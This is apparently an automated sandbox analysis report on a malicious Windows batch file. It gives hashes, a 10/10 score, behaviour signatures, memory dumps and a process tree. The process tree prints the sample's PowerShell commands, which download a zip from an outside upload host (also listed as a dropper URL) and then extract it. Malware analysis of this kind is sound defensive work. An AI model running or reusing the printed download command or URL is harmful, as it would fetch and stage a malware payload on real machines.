1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1767s
max time network
1820s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:32

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General

Target

tesy - Copy (10).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2692	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2692	powershell.exe
2504	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2692	powershell.exe
Token: SeDebugPrivilege	2504	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2836 wrote to memory of 2692	2836	cmd.exe	28
PID 2836 wrote to memory of 2692	2836	cmd.exe	28
PID 2836 wrote to memory of 2692	2836	cmd.exe	28
PID 2836 wrote to memory of 2504	2836	cmd.exe	29
PID 2836 wrote to memory of 2504	2836	cmd.exe	29
PID 2836 wrote to memory of 2504	2836	cmd.exe	29

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (10).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2504

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
d399f7804621c3caca6af6a4baaa7845

SHA1
087f7cbb2123c104b6699bdf13ddaa687cb11c05

SHA256
25c57cdd5239749d6c5cff1e739006ec4ca68bf1b8760c4f205719ca53769967

SHA512
cf39c6b361eafe0f83b9ad37fa5072dca7f1273aa3a6732b2d5d517f218ece3d55ac9446f7954b47e2d54bf562bf19a70cf80eb7a528d8886ef00c400e8d9d33

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q594HYNT0X5307PLYG2M.temp

Filesize
7KB

MD5
d399f7804621c3caca6af6a4baaa7845

SHA1
087f7cbb2123c104b6699bdf13ddaa687cb11c05

SHA256
25c57cdd5239749d6c5cff1e739006ec4ca68bf1b8760c4f205719ca53769967

SHA512
cf39c6b361eafe0f83b9ad37fa5072dca7f1273aa3a6732b2d5d517f218ece3d55ac9446f7954b47e2d54bf562bf19a70cf80eb7a528d8886ef00c400e8d9d33

Download Submit
memory/2504-26-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-21-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-32-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-31-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-30-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-29-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-28-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-24-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-22-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/2504-20-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-27-0x000007FEF4F70000-0x000007FEF590D000-memory.dmp

Filesize
9.6MB

Download
memory/2504-19-0x000000001B360000-0x000000001B642000-memory.dmp

Filesize
2.9MB

Download
memory/2504-25-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2504-23-0x0000000002600000-0x0000000002680000-memory.dmp

Filesize
512KB

Download
memory/2692-5-0x00000000025E0000-0x00000000025E8000-memory.dmp

Filesize
32KB

Download
memory/2692-6-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2692-4-0x000000001B1C0000-0x000000001B4A2000-memory.dmp

Filesize
2.9MB

Download
memory/2692-8-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2692-13-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download
memory/2692-11-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2692-10-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2692-9-0x0000000002A70000-0x0000000002AF0000-memory.dmp

Filesize
512KB

Download
memory/2692-7-0x000007FEF5910000-0x000007FEF62AD000-memory.dmp

Filesize
9.6MB

Download